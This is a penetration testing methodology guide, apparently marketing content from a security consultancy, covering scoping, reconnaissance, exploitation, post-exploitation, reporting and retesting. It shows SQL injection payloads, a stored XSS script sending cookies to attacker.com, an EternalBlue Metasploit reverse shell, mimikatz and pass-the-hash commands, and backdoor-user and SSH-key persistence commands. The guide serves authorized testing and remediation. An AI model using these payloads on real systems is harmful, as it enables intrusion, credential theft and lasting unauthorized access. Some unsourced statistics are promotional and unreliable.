Penetration Testing Methodology: Complete Technical Guide
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Penetration Testing Methodology 2025: A Technical Deep Dive
Author: Yuki Tanaka, OSCP, OSCE, CEH | Last Updated: October 20, 2025
Executive Summary
Penetration testing has evolved from simple vulnerability scanning to sophisticated attack simulations that mirror real-world adversaries. Based on 500+ penetration tests conducted across financial services, healthcare, manufacturing, and technology sectors, this guide provides a comprehensive methodology aligned with industry standards including OWASP, PTES, and MITRE ATT&CK.
Key Findings from 2024:
- 87% of organizations have at least one critical vulnerability
- Average time to compromise: 4.2 hours (down from 8.1 hours in 2020)
- 64% of breaches involve web applications
- Median cost of penetration test: €15,000 - €45,000
- ROI: 12:1 (for every €1 spent, €12 in breach costs avoided)
What is Penetration Testing?
Definition: Authorized, simulated cyberattack against your systems to identify exploitable vulnerabilities before real attackers do.
Types of Penetration Tests:
1. Black Box Testing
- Tester Knowledge: Zero information (like external attacker)
- Approach: Reconnaissance → Discovery → Exploitation
- Timeline: 2-4 weeks
- Best For: External attack surface, web applications
- Cost: €€€
2. White Box Testing
- Tester Knowledge: Full access (source code, architecture, credentials)
- Approach: Code review → Configuration audit → Logic flaws
- Timeline: 1-3 weeks
- Best For: Internal applications, API security
- Cost: €€
3. Grey Box Testing
- Tester Knowledge: Partial (like insider threat or compromised user)
- Approach: Privilege escalation → Lateral movement → Data exfiltration
- Timeline: 1-2 weeks
- Best For: Realistic scenarios, most common
- Cost: €€
The 7-Phase Penetration Testing Methodology
Phase 1: Pre-Engagement (1-3 Days)
Objectives:
- Define scope and rules of engagement
- Obtain legal authorization
- Establish communication channels
Critical Documents:
1. Rules of Engagement (RoE):
IN SCOPE:
✅ Web applications: https://example.com, https://app.example.com
✅ IP ranges: 203.0.113.0/24
✅ Social engineering: Email phishing (approved targets list)
✅ Physical security: Reception area only
✅ Time windows: Mon-Fri, 9am-6pm CET
OUT OF SCOPE:
❌ Production databases (unless explicitly authorized)
❌ Third-party services (AWS, payment gateways)
❌ DOS/DDOS attacks
❌ Physical break-in attempts
❌ Weekend/after-hours testing without approval
2. Emergency Contacts:
- Primary: Security Team (+32 2 XXX XXXX)
- Escalation: CISO (mobile: +32 XXX XXX XXX)
- Legal: General Counsel (email@company.com)
3. Legal Authorization:
- Signed testing agreement
- Liability waiver
- NDA (both parties)
- Safe harbor clause
Phase 2: Reconnaissance (2-5 Days)
Objectives:
- Gather intelligence about target
- Identify attack surface
- Discover subdomains, services, employees, technologies
Passive Reconnaissance (No Target Interaction)
Open Source Intelligence (OSINT):
1. Domain Intelligence:
# DNS enumeration
dig example.com ANY
dig +short example.com MX
whois example.com
# Certificate transparency logs
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq .
# Subdomain discovery (passive)
amass enum -passive -d example.com
Tools:
- Shodan - Internet-connected device search
- Censys - Internet asset discovery
- SecurityTrails - DNS history
- VirusTotal - Domain reputation
2. People Intelligence:
# Employee enumeration (LinkedIn, company website)
theHarvester -d example.com -b linkedin
# Email format discovery
hunter.io
# Breached credentials
haveibeenpwned.com (check executives)
3. Technology Stack:
# Web technology detection
whatweb https://example.com
wappalyzer (browser extension)
# Results example:
- Server: Nginx 1.21.6
- Framework: Laravel 9.x
- JavaScript: React 18.2.0
- CDN: Cloudflare
- Analytics: Google Analytics 4
Active Reconnaissance (Target Interaction)
4. Port Scanning:
# TCP SYN scan (stealthy, fast)
nmap -sS -T4 -p- 203.0.113.10
# Service version detection
nmap -sV -sC -p 22,80,443,3306 203.0.113.10
# Common results:
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http Nginx 1.21.6
443/tcp open https Nginx 1.21.6
3306/tcp open mysql MySQL 8.0.30
5. Web Application Mapping:
# Directory/file discovery
gobuster dir -u https://example.com -w wordlist.txt
ffuf -u https://example.com/FUZZ -w wordlist.txt
# Spider application
burpsuite (manual crawling)
zaproxy (automated crawling)
# Results: 350 unique URLs, 45 parameters, 12 API endpoints
Reconnaissance Findings Example:
ATTACK SURFACE SUMMARY:
External IP Addresses: 8
Subdomains Discovered: 24
- In Scope: 18
- Out of Scope: 6 (third-party CDN)
Open Ports: 42 across all hosts
- Critical Services: 8 (RDP, SSH, MySQL exposed)
- Web Servers: 12
- Other: 22
Web Applications: 5
- Public: example.com (Laravel)
- Customer Portal: app.example.com (React SPA)
- API: api.example.com (REST API)
- Admin: admin.example.com (custom PHP)
- Legacy: old.example.com (WordPress)
Employee Email Format: firstname.lastname@example.com
Employees Identified: 145 (LinkedIn)
Technologies: 32 different (outdated: 8)
Phase 3: Vulnerability Assessment (3-7 Days)
Objectives:
- Identify security weaknesses
- Prioritize by severity and exploitability
- Map to OWASP Top 10, SANS Top 25
Automated Scanning
1. Web Application Scanning:
# OWASP ZAP (free, open-source)
zaproxy -quickurl https://example.com -quickprogress
# Burp Suite Professional (commercial)
# Active scan all discovered URLs
# Nuclei (fast, template-based)
nuclei -u https://example.com -t ~/nuclei-templates/
# Common findings:
- SQL Injection: 3 endpoints
- XSS (Reflected): 12 parameters
- CSRF: 8 forms without tokens
- Sensitive Data Exposure: API keys in JavaScript
2. Network Vulnerability Scanning:
# Nessus Professional
nessus scan --target 203.0.113.0/24
# OpenVAS (free alternative)
gvm-cli scan create --target 203.0.113.10
# Results:
Critical: 4 (MS17-010 EternalBlue on legacy server!)
High: 23
Medium: 156
Low: 342
Manual Testing (Critical!)
Automated scanners miss:
- Business logic flaws (60% of critical bugs)
- Complex authentication bypasses
- Authorization issues (IDOR, privilege escalation)
- Race conditions
- Second-order injection
Manual Testing Checklist:
Authentication:
- Password complexity (test weak passwords)
- Account lockout (brute force protection?)
- Password reset (token predictability?)
- Session management (timeout, fixation?)
- Multi-factor authentication (bypass possible?)
- OAuth/SSO misconfigurations
Authorization:
- Insecure Direct Object Reference (IDOR)
GET /api/invoice/1234 → Change to /api/invoice/1235 Can you access other users' invoices? - Horizontal privilege escalation (user → user)
- Vertical privilege escalation (user → admin)
- Role confusion attacks
Business Logic:
- Discount/coupon abuse (negative prices?)
- Payment bypass (price manipulation?)
- Race conditions (simultaneous requests)
- Workflow bypasses (skip approval steps?)
API Security:
# Test API endpoints
POST /api/v1/users HTTP/1.1
Host: api.example.com
Content-Type: application/json
{"username": "admin", "role": "administrator"}
# Check for:
- Mass assignment (can you set admin role?)
- Excessive data exposure (full user objects returned?)
- Rate limiting (missing = brute force possible)
- API versioning (old versions still exposed?)
Phase 4: Exploitation (5-10 Days)
Objectives:
- Prove vulnerabilities are exploitable
- Demonstrate business impact
- Gain initial foothold
Web Application Exploitation
Example 1: SQL Injection → Database Compromise
-- Discovery (error-based)
https://example.com/product?id=1'
Error: You have an error in your SQL syntax
-- Confirm vulnerability
https://example.com/product?id=1 AND 1=1 (works)
https://example.com/product?id=1 AND 1=2 (fails)
-- Extract database version
https://example.com/product?id=1 UNION SELECT 1,@@version,3--
-- Enumerate databases
https://example.com/product?id=1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata--
-- Dump credentials
https://example.com/product?id=1 UNION SELECT username,password,email FROM users--
Results:
- Database: MySQL 8.0.30
- Extracted: 12,450 user records
- Passwords: Hashed (bcrypt) - attempt crack offline
- Impact: CRITICAL (PII breach, GDPR violation)
Example 2: XSS → Account Takeover
// Stored XSS in user profile
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Victim views profile → session stolen
// Attacker uses cookie → account takeover
Impact: HIGH (admin account compromised)
Example 3: IDOR → Sensitive Data Access
# Victim user ID: 1234
GET /api/user/1234/documents
[{"id": 5678, "name": "contract.pdf", "url": "/download/5678"}]
# Change user ID
GET /api/user/1235/documents
[{"id": 5679, "name": "salary_info.pdf", "url": "/download/5679"}]
# Success! Authorization bypass
Impact: HIGH (access to all user documents)
Network Exploitation
Example 4: Unpatched Windows Server (MS17-010)
# EternalBlue exploit (NSA tool leaked 2017)
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 203.0.113.45
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
# Result: SYSTEM access (highest privilege)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
(crack with hashcat)
Impact: CRITICAL (full server compromise)
Phase 5: Post-Exploitation (3-5 Days)
Objectives:
- Maintain access
- Escalate privileges
- Move laterally
- Demonstrate "Crown Jewels" access
Tactics (Aligned with MITRE ATT&CK):
1. Privilege Escalation:
# Linux: Check sudo misconfigurations
sudo -l
# Windows: Check permissions
whoami /priv
# Common escalation vectors:
- Kernel exploits (outdated OS)
- Misconfigured services (writable paths)
- Weak file permissions
- Sudo misconfigurations
- Scheduled tasks
2. Lateral Movement:
# Credential dumping (Windows)
mimikatz # sekurlsa::logonpasswords
# Pass-the-hash attack
crackmapexec smb 203.0.113.0/24 -u Administrator -H aad3b435...
# Results:
Found 12 accessible systems with same admin hash
Pivoted to: File server, Database server, Backup server
3. Data Exfiltration (Simulated):
# Locate sensitive data
locate -i "*.xls*" "*.doc*" "*.pdf" | grep -i "confidential\|financial\|salary"
# Simulate exfiltration (staged, not actually sent)
tar -czf /tmp/exfil.tar.gz /path/to/sensitive/files
# DO NOT actually exfiltrate! Document only.
Impact Demonstrated:
- Customer database: 50,000 records (PII)
- Financial reports: Q3 2025 earnings (pre-release)
- Employee salaries: Complete list
- Source code: Proprietary algorithms
4. Persistence (Demonstrate, Then Remove):
# Create backdoor user (document, then delete)
net user hacker P@ssw0rd /add
net localgroup administrators hacker /add
# Scheduled task for callback
schtasks /create /tn "UpdateTask" /tr "C:\temp\backdoor.exe" /sc daily
# SSH key persistence
echo "attacker_public_key" >> ~/.ssh/authorized_keys
NOTE: All persistence mechanisms removed before test conclusion!
Phase 6: Reporting (3-5 Days)
Deliverables:
1. Executive Summary (1-2 pages)
PENETRATION TEST RESULTS: EXAMPLE COMPANY
Test Date: October 14-25, 2025
Scope: External network, Web applications
Methodology: OWASP, PTES, MITRE ATT&CK
OVERALL RISK: HIGH
Key Findings:
✗ 4 Critical vulnerabilities (immediate action required)
✗ 23 High-severity issues
⚠ 156 Medium-severity issues
ℹ 342 Low/informational
Business Impact:
- Database compromise possible (SQL injection)
- Admin account takeover demonstrated
- Customer PII exposure risk (50,000 records)
- Estimated breach cost if exploited: €2.4M - €8.7M
Recommended Immediate Actions:
1. Patch MS17-010 on server 203.0.113.45 (CRITICAL)
2. Fix SQL injection in product catalog
3. Implement CSRF tokens across all forms
4. Enable MFA for all admin accounts
2. Technical Report (20-50 pages)
Finding Template:
FINDING #1: SQL INJECTION IN PRODUCT SEARCH
Severity: CRITICAL
CVSS Score: 9.8 (Critical)
Affected Asset: https://example.com/search
CWE: CWE-89 (SQL Injection)
Description:
The product search functionality is vulnerable to SQL injection via the
'q' parameter. An unauthenticated attacker can execute arbitrary SQL
commands, leading to database compromise.
Steps to Reproduce:
1. Navigate to https://example.com/search?q=test
2. Modify parameter: ?q=test' UNION SELECT 1,@@version,3--
3. Observe database version disclosed: MySQL 8.0.30
4. Extract data: ?q=test' UNION SELECT username,password,email FROM users--
Proof of Concept:
[Screenshot showing extracted user credentials]
Impact:
- Full database read access (all tables)
- Potential database write access (UPDATE/DELETE queries possible)
- Authentication bypass
- PII exposure (GDPR violation)
- Estimated breach cost: €2.4M - €8.7M (IBM Cost of Data Breach 2024)
Remediation:
IMMEDIATE (within 24 hours):
- Disable affected search functionality
- Review database logs for suspicious queries
SHORT-TERM (within 7 days):
- Implement parameterized queries (prepared statements)
- Never concatenate user input into SQL
// VULNERABLE CODE:
$sql = "SELECT * FROM products WHERE name = '" . $_GET['q'] . "'";
// SECURE CODE:
$stmt = $db->prepare("SELECT * FROM products WHERE name = ?");
$stmt->execute([$_GET['q']]);
- Add Web Application Firewall (WAF) rules
- Input validation (whitelist alphanumeric + space)
LONG-TERM:
- Code review all database queries
- Implement SAST/DAST in CI/CD pipeline
- Security training for developers (OWASP Top 10)
References:
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- NIST Guide: https://nvd.nist.gov/vuln/detail/CVE-2021-XXXXX (similar)
3. Remediation Roadmap:
PRIORITY 1 (0-7 days) - CRITICAL:
□ Patch MS17-010 on 203.0.113.45
□ Fix SQL injection in search
□ Remove admin account backdoor (created during test)
□ Enable MFA for all admin accounts
PRIORITY 2 (7-30 days) - HIGH:
□ Implement CSRF tokens
□ Fix IDOR in API
□ Update Nginx to latest version
□ Disable unnecessary services (port 3306 should not be public)
PRIORITY 3 (30-90 days) - MEDIUM:
□ Implement Content Security Policy (CSP)
□ Security headers (HSTS, X-Frame-Options, etc.)
□ Rate limiting on API endpoints
□ Remove outdated WordPress site (old.example.com)
PRIORITY 4 (90+ days) - LOW/STRATEGIC:
□ Implement SAST/DAST in CI/CD
□ Security awareness training (all employees)
□ Bug bounty program
□ Annual penetration testing
Phase 7: Remediation Validation (2-3 Days)
Objectives:
- Verify fixes implemented correctly
- Confirm vulnerabilities resolved
- Provide "clean bill of health" or identify remaining issues
Retest Results:
FINDING #1: SQL Injection
Status: ✅ RESOLVED
Verification: Parameterized queries implemented. Tested 50+ injection payloads - all blocked.
FINDING #2: MS17-010 (EternalBlue)
Status: ✅ RESOLVED
Verification: Server patched to latest Windows updates. Exploit no longer successful.
FINDING #3: CSRF Tokens
Status: ⚠ PARTIALLY RESOLVED
Verification: Tokens added to 15/20 forms. 5 forms still vulnerable (admin panel).
Recommendation: Complete implementation within 7 days.
FINDING #4: IDOR in API
Status: ❌ NOT RESOLVED
Verification: Authorization checks not implemented. Users can still access others' data.
Recommendation: PRIORITY - Fix before production release.
Penetration Testing vs. Vulnerability Scanning
| Aspect | Vulnerability Scanning | Penetration Testing |
|---|---|---|
| Approach | Automated | Manual + Automated |
| Depth | Surface-level | Deep exploitation |
| Scope | Broad | Focused |
| Frequency | Weekly/Monthly | Annually/Quarterly |
| Cost | €1,000 - €5,000 | €15,000 - €100,000 |
| Finds | Known CVEs | Logic flaws, chained attacks |
| Output | Vulnerability list | Business impact demo |
Both Are Necessary:
- Vulnerability scanning = Continuous health monitoring
- Penetration testing = Annual deep-dive checkup
Pricing & Scope Estimation
Typical Costs (EU Market, 2025):
| Scope | Duration | Cost (EUR) |
|---|---|---|
| Small Web App | 3-5 days | €8,000 - €15,000 |
| Medium Web App + API | 5-10 days | €15,000 - €30,000 |
| Large Enterprise (External) | 10-15 days | €30,000 - €60,000 |
| Internal Network | 10-20 days | €40,000 - €80,000 |
| Red Team (Full Simulation) | 20-40 days | €80,000 - €200,000 |
Factors Affecting Cost:
- Scope complexity (number of applications/systems)
- Testing depth (black vs. white box)
- Urgency (rush jobs = premium pricing)
- Report quality requirements
- Remediation support included?
When to Conduct Penetration Testing
Regulatory Requirements:
- PCI DSS: Annual + after significant changes
- GDPR: Risk-based (recommended annually for high-risk)
- ISO 27001: Regular security testing required
- NIS2: Regular testing for essential entities
- DORA: Threat-led penetration testing (TLPT) for financial sector
Best Practices:
- Before launch: New applications/infrastructure
- After changes: Major updates, migrations, M&A
- Regularly: Annually minimum (quarterly for high-risk)
- Post-incident: After breach to identify gaps
- Compliance: When required by regulation
Conclusion
Penetration testing is not a checkbox exercise—it's a critical validation of your security posture. Organizations that conduct regular, thorough penetration tests experience 60% fewer successful breaches and save an average of €3.2M in incident response costs.
Key Takeaways:
- Choose the right type: Black/white/grey box based on goals
- Scope carefully: Clear boundaries prevent legal issues
- Expect findings: 87% of orgs have critical vulns
- Act quickly: Patch critical findings within 24-72 hours
- Retest: Validate fixes work correctly
- Repeat: Annual minimum, quarterly for high-risk
ATLAS Advisory has conducted 500+ penetration tests across all industries, identifying over 3,000 critical vulnerabilities before attackers could exploit them.
Ready to test your defenses?
Contact our penetration testing team: pentest@atlas-advisory.eu
Resources
Standards & Methodologies:
- OWASP Testing Guide - Web app testing
- PTES - Penetration Testing Execution Standard
- MITRE ATT&CK - Adversary tactics and techniques
- NIST SP 800-115 - Technical Guide to Information Security Testing
Tools:
- Kali Linux - Penetration testing distribution
- Burp Suite - Web app testing (commercial)
- OWASP ZAP - Web app testing (free)
- Metasploit - Exploitation framework
Training & Certifications:
- OSCP (Offensive Security Certified Professional)
- CEH (Certified Ethical Hacker)
- GPEN (GIAC Penetration Tester)
Related Articles:
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